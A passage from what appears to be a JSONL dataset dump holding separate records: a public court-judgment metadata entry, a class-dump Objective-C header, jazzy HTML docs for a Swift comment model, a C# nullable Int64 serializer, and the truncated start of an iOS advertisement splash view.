xlink:href=\"http://www.gpo.gov/fdsys/granule/USCOURTS-nynd-5_08-cr-00690/USCOURTS-nynd-5_08-cr-00690-0/mods.xml\">\n <titleInfo>\n <title>USA v. Maya-Maya</title>\n <subTitle>JUDGMENT: as to Estella Maya-Maya (1), Count(s) 1, Time served (66 days) followed by 1 year of supervised release, Fine waived, Special Assessment waived. Signed by Judge Glenn T. Suddaby on 1/14/09. (jmb)</subTitle>\n <partNumber>0</partNumber>\n</titleInfo>\n <originInfo>\n <dateIssued>2009-01-14</dateIssued>\n</originInfo>\n <relatedItem xlink:href=\"http://www.gpo.gov/fdsys/pkg/pdf/USCOURTS-nynd-5_08-cr-00690-0.pdf\" type=\"otherFormat\">\n <identifier type=\"FDsys Unique ID\">D09002ee18141ab7a</identifier>\n</relatedItem>\n <identifier type=\"uri\">http://www.gpo.gov/fdsys/granule/USCOURTS-nynd-5_08-cr-00690/USCOURTS-nynd-5_08-cr-00690-0</identifier>\n <identifier type=\"former granule identifier\">nynd-5_08-cr-00690_0.pdf</identifier>\n <location>\n <url access=\"object in context\" displayLabel=\"Content Detail\">http://www.gpo.gov/fdsys/granule/USCOURTS-nynd-5_08-cr-00690/USCOURTS-nynd-5_08-cr-00690-0/content-detail.html</url>\n <url access=\"raw object\" displayLabel=\"PDF rendition\">http://www.gpo.gov/fdsys/pkg/USCOURTS-nynd-5_08-cr-00690/pdf/USCOURTS-nynd-5_08-cr-00690-0.pdf</url>\n</location>\n <extension>\n <searchTitle>USCOURTS 5:08-cr-00690; USA v. Maya-Maya; </searchTitle>\n <courtName>United States District Court Northern District of New York</courtName>\n <state>New York</state>\n <accessId>USCOURTS-nynd-5_08-cr-00690-0</accessId>\n <sequenceNumber>0</sequenceNumber>\n <dateIssued>2009-01-14</dateIssued>\n <docketText>JUDGMENT: as to Estella Maya-Maya (1), Count(s) 1, Time served (66 days) followed by 1 year of supervised release, Fine waived, Special Assessment waived. Signed by Judge Glenn T. Suddaby on 1/14/09. (jmb)</docketText>\n</extension>\n</relatedItem>\n</mods>"} {"text": "//\n// Generated by class-dump 3.5 (64 bit) (Debug version compiled Oct 15 2018 10:31:50).\n//\n// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by Steve Nygard.\n//\n\n#import <objc/NSObject.h>\n\n#import <CFNetwork/NSSecureCoding-Protocol.h>\n\n@class NSArray, NSDateInterval, __CFN_TaskMetrics;\n\n@interface NSURLSessionTaskMetrics : NSObject <NSSecureCoding>\n{\n __CFN_TaskMetrics *__metrics;\n}\n\n+ (id)new;\n+ (BOOL)supportsSecureCoding;\n- (void).cxx_destruct;\n@property(readonly, nonatomic) __CFN_TaskMetrics *_metrics; // @synthesize _metrics=__metrics;\n- (id)description;\n@property(readonly) unsigned long long redirectCount;\n@property(readonly, copy) NSDateInterval *taskInterval;\n@property(readonly, copy) NSArray *transactionMetrics;\n- (id)initWithMetrics:(id)arg1;\n- (id)init;\n- (void)encodeWithCoder:(id)arg1;\n- (id)initWithCoder:(id)arg1;\n\n@end\n\n"} {"text": "<!DOCTYPE html>\n<html lang=\"en\">\n <head>\n <title>YMComment Class Reference</title>\n <link rel=\"stylesheet\" type=\"text/css\" href=\"../css/jazzy.css\" />\n <link rel=\"stylesheet\" type=\"text/css\" href=\"../css/highlight.css\" />\n <meta charset='utf-8'>\n <script src=\"../js/jquery.min.js\" defer></script>\n <script src=\"../js/jazzy.js\" defer></script>\n \n </head>\n <body>\n <a name=\"//apple_ref/swift/Class/YMComment\" class=\"dashAnchor\"></a>\n <a title=\"YMComment Class Reference\"></a>\n <header>\n <div class=\"content-wrapper\">\n <p><a href=\"../index.html\"> Docs</a> (18% documented)</p>\n </div>\n </header>\n <div class=\"content-wrapper\">\n <p id=\"breadcrumbs\">\n <a href=\"../index.html\"> Reference</a>\n <img id=\"carat\" src=\"../img/carat.png\" />\n YMComment Class Reference\n </p>\n </div>\n <div class=\"content-wrapper\">\n <nav class=\"sidebar\">\n <ul class=\"nav-groups\">\n <li class=\"nav-group-name\">\n <a href=\"../Classes.html\">Classes</a>\n <ul class=\"nav-group-tasks\">\n <li class=\"nav-group-task\">\n <a href=\"../Classes/AppDelegate.html\">AppDelegate</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/User.html\">User</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMActionSheet.html\">YMActionSheet</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMBaseViewController.html\">YMBaseViewController</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMCategoryBottomView.html\">YMCategoryBottomView</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMCategoryCollectionViewCell.html\">YMCategoryCollectionViewCell</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMCategoryHeaderViewController.html\">YMCategoryHeaderViewController</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMCategoryViewController.html\">YMCategoryViewController</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMChannel.html\">YMChannel</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMCollection.html\">YMCollection</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMCollectionDetailController.html\">YMCollectionDetailController</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMCollectionPost.html\">YMCollectionPost</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMCollectionTableViewCell.html\">YMCollectionTableViewCell</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMCollectionViewCell.html\">YMCollectionViewCell</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMComment.html\">YMComment</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMCommentCell.html\">YMCommentCell</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMDanTangViewController.html\">YMDanTangViewController</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMDetailChoiceButtonView.html\">YMDetailChoiceButtonView</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMDetailCollectionViewCell.html\">YMDetailCollectionViewCell</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMDetailLayout.html\">YMDetailLayout</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMDetailScrollView.html\">YMDetailScrollView</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMDetailViewController.html\">YMDetailViewController</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMGroup.html\">YMGroup</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMHomeCell.html\">YMHomeCell</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMHomeItem.html\">YMHomeItem</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMLoginViewController.html\">YMLoginViewController</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMMeChoiceView.html\">YMMeChoiceView</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMMeFooterView.html\">YMMeFooterView</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMMeViewController.html\">YMMeViewController</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMMessageViewController.html\">YMMessageViewController</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMMineHeaderView.html\">YMMineHeaderView</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMNavigationController.html\">YMNavigationController</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMNetworkTool.html\">YMNetworkTool</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMNewfeatureCell.html\">YMNewfeatureCell</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMNewfeatureLayout.html\">YMNewfeatureLayout</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMNewfeatureViewController.html\">YMNewfeatureViewController</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMPostDetailViewController.html\">YMPostDetailViewController</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMProduct.html\">YMProduct</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMProductDetail.html\">YMProductDetail</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMProductDetailBottomView.html\">YMProductDetailBottomView</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMProductDetailToolBar.html\">YMProductDetailToolBar</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMProductDetailTopView.html\">YMProductDetailTopView</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMProductDetailViewController.html\">YMProductDetailViewController</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMProductViewController.html\">YMProductViewController</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMRefreshControl.html\">YMRefreshControl</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMRefreshView.html\">YMRefreshView</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMRegisterViewController.html\">YMRegisterViewController</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMSearchRecordView.html\">YMSearchRecordView</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMSearchResult.html\">YMSearchResult</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMSearchViewController.html\">YMSearchViewController</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMSeeAllController.html\">YMSeeAllController</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMSeeAllTopicCell.html\">YMSeeAllTopicCell</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMSetting.html\">YMSetting</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMSettingCell.html\">YMSettingCell</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMSettingViewController.html\">YMSettingViewController</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMShareButtonView.html\">YMShareButtonView</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMSortCell.html\">YMSortCell</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMSortTableView.html\">YMSortTableView</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMTMALLViewController.html\">YMTMALLViewController</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMTabBarController.html\">YMTabBarController</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMTopHeaderView.html\">YMTopHeaderView</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMTopicViewController.html\">YMTopicViewController</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Classes/YMVerticalButton.html\">YMVerticalButton</a>\n </li>\n </ul>\n </li>\n <li class=\"nav-group-name\">\n <a href=\"../Global Variables.html\">Global Variables</a>\n <ul class=\"nav-group-tasks\">\n <li class=\"nav-group-task\">\n <a href=\"../Global Variables.html#/s:v7DanTang8BASE_URLSS\">BASE_URL</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Global Variables.html#/s:v7DanTang9RETURN_OKSi\">RETURN_OK</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Global Variables.html#/s:v7DanTang7SCREENHV12CoreGraphics7CGFloat\">SCREENH</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Global Variables.html#/s:v7DanTang7SCREENWV12CoreGraphics7CGFloat\">SCREENW</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Global Variables.html#/s:v7DanTang13YMFirstLaunchSS\">YMFirstLaunch</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Global Variables.html#/s:v7DanTang24categoryCollectionCellIDSS\">categoryCollectionCellID</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Global Variables.html#/s:v7DanTang16collectionCellIDSS\">collectionCellID</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Global Variables.html#/s:v7DanTang21collectionTableCellIDSS\">collectionTableCellID</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Global Variables.html#/s:v7DanTang13commentCellIDSS\">commentCellID</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Global Variables.html#/s:v7DanTang26detailCollectionViewCellIDSS\">detailCollectionViewCellID</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Global Variables.html#/s:v7DanTang10homeCellIDSS\">homeCellID</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Global Variables.html#/s:v7DanTang9isIPhone5Sb\">isIPhone5</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Global Variables.html#/s:v7DanTang9isIPhone6Sb\">isIPhone6</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Global Variables.html#/s:v7DanTang10isIPhone6PSb\">isIPhone6P</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Global Variables.html#/s:v7DanTang7isLoginSS\">isLogin</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Global Variables.html#/s:v7DanTang18kAnimationDurationSd\">kAnimationDuration</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Global Variables.html#/s:v7DanTang13kCornerRadiusV12CoreGraphics7CGFloat\">kCornerRadius</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Global Variables.html#/s:v7DanTang15kIndicatorViewHV12CoreGraphics7CGFloat\">kIndicatorViewH</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Global Variables.html#/s:v7DanTang7kMarginV12CoreGraphics7CGFloat\">kMargin</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Global Variables.html#/s:v7DanTang16kNewFeatureCountSi\">kNewFeatureCount</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Global Variables.html#/s:v7DanTang12kTitlesViewHV12CoreGraphics7CGFloat\">kTitlesViewH</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Global Variables.html#/s:v7DanTang12kTitlesViewYV12CoreGraphics7CGFloat\">kTitlesViewY</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Global Variables.html#/s:v7DanTang9kTopViewHV12CoreGraphics7CGFloat\">kTopViewH</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Global Variables.html#/s:v7DanTang24kYMMineHeaderImageHeightV12CoreGraphics7CGFloat\">kYMMineHeaderImageHeight</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Global Variables.html#/s:v7DanTang6kitemHV12CoreGraphics7CGFloat\">kitemH</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Global Variables.html#/s:v7DanTang6kitemWV12CoreGraphics7CGFloat\">kitemW</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Global Variables.html#/s:v7DanTang10klineWidthV12CoreGraphics7CGFloat\">klineWidth</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Global Variables.html#/s:v7DanTang13messageCellIDSS\">messageCellID</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Global Variables.html#/s:v7DanTang12newFeatureIDSS\">newFeatureID</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Global Variables.html#/s:v7DanTang22searchCollectionCellIDSS\">searchCollectionCellID</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Global Variables.html#/s:v7DanTang12seeAllcellIDSS\">seeAllcellID</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Global Variables.html#/s:v7DanTang19sortTableViewCellIDSS\">sortTableViewCellID</a>\n </li>\n </ul>\n </li>\n <li class=\"nav-group-name\">\n <a href=\"../Enums.html\">Enums</a>\n <ul class=\"nav-group-tasks\">\n <li class=\"nav-group-task\">\n <a href=\"../Enums/YMOtherLoginButtonType.html\">YMOtherLoginButtonType</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Enums/YMShareButtonType.html\">YMShareButtonType</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Enums/YMTopicType.html\">YMTopicType</a>\n </li>\n </ul>\n </li>\n <li class=\"nav-group-name\">\n <a href=\"../Extensions.html\">Extensions</a>\n <ul class=\"nav-group-tasks\">\n <li class=\"nav-group-task\">\n <a href=\"../Extensions/String.html\">String</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Extensions/UITableView.html\">UITableView</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Extensions/UIView.html\">UIView</a>\n </li>\n </ul>\n </li>\n <li class=\"nav-group-name\">\n <a href=\"../Functions.html\">Functions</a>\n <ul class=\"nav-group-tasks\">\n <li class=\"nav-group-task\">\n <a href=\"../Functions.html#/s:F7DanTang7YMColorFTV12CoreGraphics7CGFloat1gS1_1bS1_1aS1__CSo7UIColor\">YMColor(_:g:b:a:)</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Functions.html#/s:F7DanTang13YMGlobalColorFT_CSo7UIColor\">YMGlobalColor()</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Functions.html#/s:F7DanTang16YMGlobalRedColorFT_CSo7UIColor\">YMGlobalRedColor()</a>\n </li>\n </ul>\n </li>\n <li class=\"nav-group-name\">\n <a href=\"../Protocols.html\">Protocols</a>\n <ul class=\"nav-group-tasks\">\n <li class=\"nav-group-task\">\n <a href=\"../Protocols/YMCategoryBottomViewDelegate.html\">YMCategoryBottomViewDelegate</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Protocols/YMCollectionViewCellDelegate.html\">YMCollectionViewCellDelegate</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Protocols/YMDetailChoiceButtonViewDegegate.html\">YMDetailChoiceButtonViewDegegate</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Protocols/YMHomeCellDelegate.html\">YMHomeCellDelegate</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Protocols/YMProductDetailToolBarDelegate.html\">YMProductDetailToolBarDelegate</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Protocols/YMSortTableViewDelegate.html\">YMSortTableViewDelegate</a>\n </li>\n <li class=\"nav-group-task\">\n <a href=\"../Protocols/YMTopHeaderViewDelegate.html\">YMTopHeaderViewDelegate</a>\n </li>\n </ul>\n </li>\n </ul>\n </nav>\n <article class=\"main-content\">\n <section>\n <section class=\"section\">\n <h1>YMComment</h1>\n <p>Undocumented</p>\n\n </section>\n <section class=\"section task-group-section\">\n <div class=\"task-group\">\n <ul>\n <li class=\"item\">\n <div>\n <code>\n <a name=\"/s:vC7DanTang9YMComment7contentGSqSS_\"></a>\n <a name=\"//apple_ref/swift/Property/content\" class=\"dashAnchor\"></a>\n <a class=\"token\" href=\"#/s:vC7DanTang9YMComment7contentGSqSS_\">content</a>\n </code>\n </div>\n <div class=\"height-container\">\n <div class=\"pointer-container\"></div>\n <section class=\"section\">\n <div class=\"pointer\"></div>\n <div class=\"abstract\">\n <p>Undocumented</p>\n\n </div>\n </section>\n </div>\n </li>\n <li class=\"item\">\n <div>\n <code>\n <a name=\"/s:vC7DanTang9YMComment2idGSqSi_\"></a>\n <a name=\"//apple_ref/swift/Property/id\" class=\"dashAnchor\"></a>\n <a class=\"token\" href=\"#/s:vC7DanTang9YMComment2idGSqSi_\">id</a>\n </code>\n </div>\n <div class=\"height-container\">\n <div class=\"pointer-container\"></div>\n <section class=\"section\">\n <div class=\"pointer\"></div>\n <div class=\"abstract\">\n <p>Undocumented</p>\n\n </div>\n </section>\n </div>\n </li>\n <li class=\"item\">\n <div>\n <code>\n <a name=\"/s:vC7DanTang9YMComment10created_atGSqSi_\"></a>\n <a name=\"//apple_ref/swift/Property/created_at\" class=\"dashAnchor\"></a>\n <a class=\"token\" href=\"#/s:vC7DanTang9YMComment10created_atGSqSi_\">created_at</a>\n </code>\n </div>\n <div class=\"height-container\">\n <div class=\"pointer-container\"></div>\n <section class=\"section\">\n <div class=\"pointer\"></div>\n <div class=\"abstract\">\n <p>Undocumented</p>\n\n </div>\n </section>\n </div>\n </li>\n <li class=\"item\">\n <div>\n <code>\n <a name=\"/s:vC7DanTang9YMComment4showGSqSb_\"></a>\n <a name=\"//apple_ref/swift/Property/show\" class=\"dashAnchor\"></a>\n <a class=\"token\" href=\"#/s:vC7DanTang9YMComment4showGSqSb_\">show</a>\n </code>\n </div>\n <div class=\"height-container\">\n <div class=\"pointer-container\"></div>\n <section class=\"section\">\n <div class=\"pointer\"></div>\n <div class=\"abstract\">\n <p>Undocumented</p>\n\n </div>\n </section>\n </div>\n </li>\n <li class=\"item\">\n <div>\n <code>\n <a name=\"/s:vC7DanTang9YMComment7item_idGSqSi_\"></a>\n <a name=\"//apple_ref/swift/Property/item_id\" class=\"dashAnchor\"></a>\n <a class=\"token\" href=\"#/s:vC7DanTang9YMComment7item_idGSqSi_\">item_id</a>\n </code>\n </div>\n <div class=\"height-container\">\n <div class=\"pointer-container\"></div>\n <section class=\"section\">\n <div class=\"pointer\"></div>\n <div class=\"abstract\">\n <p>Undocumented</p>\n\n </div>\n </section>\n </div>\n </li>\n <li class=\"item\">\n <div>\n <code>\n <a name=\"/s:vC7DanTang9YMComment4userGSqCS_4User_\"></a>\n <a name=\"//apple_ref/swift/Property/user\" class=\"dashAnchor\"></a>\n <a class=\"token\" href=\"#/s:vC7DanTang9YMComment4userGSqCS_4User_\">user</a>\n </code>\n </div>\n <div class=\"height-container\">\n <div class=\"pointer-container\"></div>\n <section class=\"section\">\n <div class=\"pointer\"></div>\n <div class=\"abstract\">\n <p>Undocumented</p>\n\n </div>\n </section>\n </div>\n </li>\n <li class=\"item\">\n <div>\n <code>\n <a name=\"/s:FC7DanTang9YMCommentcFT4dictGVs10DictionarySSPs9AnyObject___S0_\"></a>\n <a name=\"//apple_ref/swift/Method/init(dict:)\" class=\"dashAnchor\"></a>\n <a class=\"token\" href=\"#/s:FC7DanTang9YMCommentcFT4dictGVs10DictionarySSPs9AnyObject___S0_\">init(dict:)</a>\n </code>\n </div>\n <div class=\"height-container\">\n <div class=\"pointer-container\"></div>\n <section class=\"section\">\n <div class=\"pointer\"></div>\n <div class=\"abstract\">\n <p>Undocumented</p>\n\n </div>\n </section>\n </div>\n </li>\n </ul>\n </div>\n </section>\n </section>\n <section id=\"footer\">\n <p>&copy; 2016 <a class=\"link\" href=\"\" target=\"_blank\" rel=\"external\"></a>. All rights reserved. (Last updated: 2016-07-27)</p>\n <p>Generated by <a class=\"link\" href=\"https://github.com/realm/jazzy\" target=\"_blank\" rel=\"external\">jazzy ♪♫ v0.6.2</a>, a <a class=\"link\" href=\"http://realm.io\" target=\"_blank\" rel=\"external\">Realm</a> project.</p>\n </section>\n </article>\n </div>\n </body>\n</div>\n</html>\n"} {"text": "using System;\nusing System.Collections.Generic;\nusing System.Text;\nusing System.Threading.Tasks;\n\nnamespace Waher.Persistence.Serialization.NullableTypes\n{\n\t/// <summary>\n\t/// Serializes a nullable <see cref=\"Int64\"/> value.\n\t/// </summary>\n\tpublic class NullableInt64Serializer : NullableValueTypeSerializer\n\t{\n\t\t/// <summary>\n\t\t/// Serializes a nullable <see cref=\"Int64\"/> value.\n\t\t/// </summary>\n\t\tpublic NullableInt64Serializer()\n\t\t{\n\t\t}\n\n\t\t/// <summary>\n\t\t/// What type of object is being serialized.\n\t\t/// </summary>\n\t\tpublic override Type ValueType\n\t\t{\n\t\t\tget\n\t\t\t{\n\t\t\t\treturn typeof(long?);\n\t\t\t}\n\t\t}\n\n\t\t/// <summary>\n\t\t/// Deserializes an object from a binary source.\n\t\t/// </summary>\n\t\t/// <param name=\"Reader\">Deserializer.</param>\n\t\t/// <param name=\"DataType\">Optional datatype. If not provided, will be read from the binary source.</param>\n\t\t/// <param name=\"Embedded\">If the object is embedded into another.</param>\n\t\t/// <returns>Deserialized object.</returns>\n\t\tpublic override object Deserialize(IDeserializer Reader, uint? DataType, bool Embedded)\n\t\t{\n\t\t\tif (!DataType.HasValue)\n\t\t\t\tDataType = Reader.ReadBits(6);\n\n\t\t\tswitch (DataType.Value)\n\t\t\t{\n\t\t\t\tcase ObjectSerializer.TYPE_BOOLEAN: return Reader.ReadBoolean() ? (long?)1 : (long?)0;\n\t\t\t\tcase ObjectSerializer.TYPE_BYTE: return (long?)Reader.ReadByte();\n\t\t\t\tcase ObjectSerializer.TYPE_INT16: return (long?)Reader.ReadInt16();\n\t\t\t\tcase ObjectSerializer.TYPE_INT32: return (long?)Reader.ReadInt32();\n\t\t\t\tcase ObjectSerializer.TYPE_INT64: return (long?)Reader.ReadInt64();\n\t\t\t\tcase ObjectSerializer.TYPE_SBYTE: return (long?)Reader.ReadSByte();\n\t\t\t\tcase ObjectSerializer.TYPE_UINT16: return (long?)Reader.ReadUInt16();\n\t\t\t\tcase ObjectSerializer.TYPE_UINT32: return (long?)Reader.ReadUInt32();\n\t\t\t\tcase ObjectSerializer.TYPE_UINT64: return (long?)Reader.ReadUInt64();\n\t\t\t\tcase ObjectSerializer.TYPE_DECIMAL: return (long?)Reader.ReadDecimal();\n\t\t\t\tcase ObjectSerializer.TYPE_DOUBLE: return (long?)Reader.ReadDouble();\n\t\t\t\tcase ObjectSerializer.TYPE_SINGLE: return (long?)Reader.ReadSingle();\n\t\t\t\tcase ObjectSerializer.TYPE_STRING:\n\t\t\t\tcase ObjectSerializer.TYPE_CI_STRING: return (long?)long.Parse(Reader.ReadString());\n\t\t\t\tcase ObjectSerializer.TYPE_MIN: return long.MinValue;\n\t\t\t\tcase ObjectSerializer.TYPE_MAX: return long.MaxValue;\n\t\t\t\tcase ObjectSerializer.TYPE_NULL: return null;\n\t\t\t\tdefault: throw new Exception(\"Expected a nullable Int64 value.\");\n\t\t\t}\n\t\t}\n\n\t\t/// <summary>\n\t\t/// Serializes an object to a binary destination.\n\t\t/// </summary>\n\t\t/// <param name=\"Writer\">Serializer.</param>\n\t\t/// <param name=\"WriteTypeCode\">If a type code is to be output.</param>\n\t\t/// <param name=\"Embedded\">If the object is embedded into another.</param>\n\t\t/// <param name=\"Value\">The actual object to serialize.</param>\n\t\tpublic override void Serialize(ISerializer Writer, bool WriteTypeCode, bool Embedded, object Value)\n\t\t{\n\t\t\tlong? Value2 = (long?)Value;\n\n\t\t\tif (WriteTypeCode)\n\t\t\t{\n\t\t\t\tif (!Value2.HasValue)\n\t\t\t\t{\n\t\t\t\t\tWriter.WriteBits(ObjectSerializer.TYPE_NULL, 6);\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t\tWriter.WriteBits(ObjectSerializer.TYPE_INT64, 6);\n\t\t\t}\n\t\t\telse if (!Value2.HasValue)\n\t\t\t\tthrow new NullReferenceException(\"Value cannot be null.\");\n\n\t\t\tWriter.Write(Value2.Value);\n\t\t}\n\n\t}\n}\n"} {"text": "//\n// TJPAdvertiseView.m\n// TJPYingKe\n//\n// Created by Walkman on 2017/3/20.\n// Copyright © 2017年 AaronTang. All rights reserved.\n//\n\n#import \"TJPAdvertiseView.h\"\n#import \"TJPCacheHelper.h\"\n#import <SDWebImage/SDWebImageManager.h>\n\nstatic NSInteger adShowTime = 3;\nstatic CFTimeInterval const duration = 0.25f;\n\n@interface TJPAdvertiseView ()\n\n@property (nonatomic, weak) UIImageView *adImageView; //广告图片\n@property (nonatomic, weak) UIButton *showTimeBtn;\n@property (nonatomic, weak) NSTimer *timer;\n\n\n\n@end\n\n@implementation TJPAdvertiseView\n#pragma mark - lazy\n- (UIImageView *)adImageView {\n if (!_adImageView) {\n UIImageView *adImageView = [[UIImageView alloc] init];\n adImageView.userInteractionEnabled = YES;\n UITapGestureRecognizer *tap = [[UITapGestureRecognizer alloc] initWithTarget:self action:@selector(adImageTap)];\n [adImageView addGestureRecognizer:tap];\n [self addSubview:adImageView];\n _adImageView = adImageView;\n }\n return _adImageView;\n}\n\n- (UIButton *)showTimeBtn {\n if (!_showTimeBtn) {\n UIButton *showTimeBtn = [UIButton buttonWithType:UIButtonTypeCustom];\n [showTimeBtn setTitleColor:[UIColor whiteColor] forState:UIControlStateNormal];\n [showTimeBtn setBackgroundColor:TJPColorA(0, 0, 0, 0.8)];\n showTimeBtn.titleLabel.font = [UIFont systemFontOfSize:15.f];\n showTimeBtn.layer.cornerRadius = 3;\n showTimeBtn.layer.masksToBounds = YES;\n [showTimeBtn addTarget:self action:@selector(goHomePage) forControlEvents:UIControlEventTouchUpInside];\n [self addSubview:showTimeBtn];\n _showTimeBtn = showTimeBtn;\n \n }\n return _showTimeBtn;\n}\n\n\n- (NSTimer *)timer {\n if (!_timer) {\n NSTimer *timer = [NSTimer scheduledTimerWithTimeInterval:1 target:self selector:@selector(timerGo) userInfo:nil repeats:YES];\n [[NSRunLoop currentRunLoop] addTimer:timer forMode:NSRunLoopCommonModes];\n _timer = timer;\n }\n return _timer;\n}\n\n\n\n#pragma mark - instancetype\n+ (instancetype)TJPAdvertiseViewWithType:(TJPAdvertiseViewType)type {\n TJPAdvertiseView *advertiseView = [[TJPAdvertiseView alloc] initWithType:type];\n \n return advertiseView;\n}\n\n\n- (instancetype)initWithType:(TJPAdvertiseViewType)type {\n if (self = [super init]) 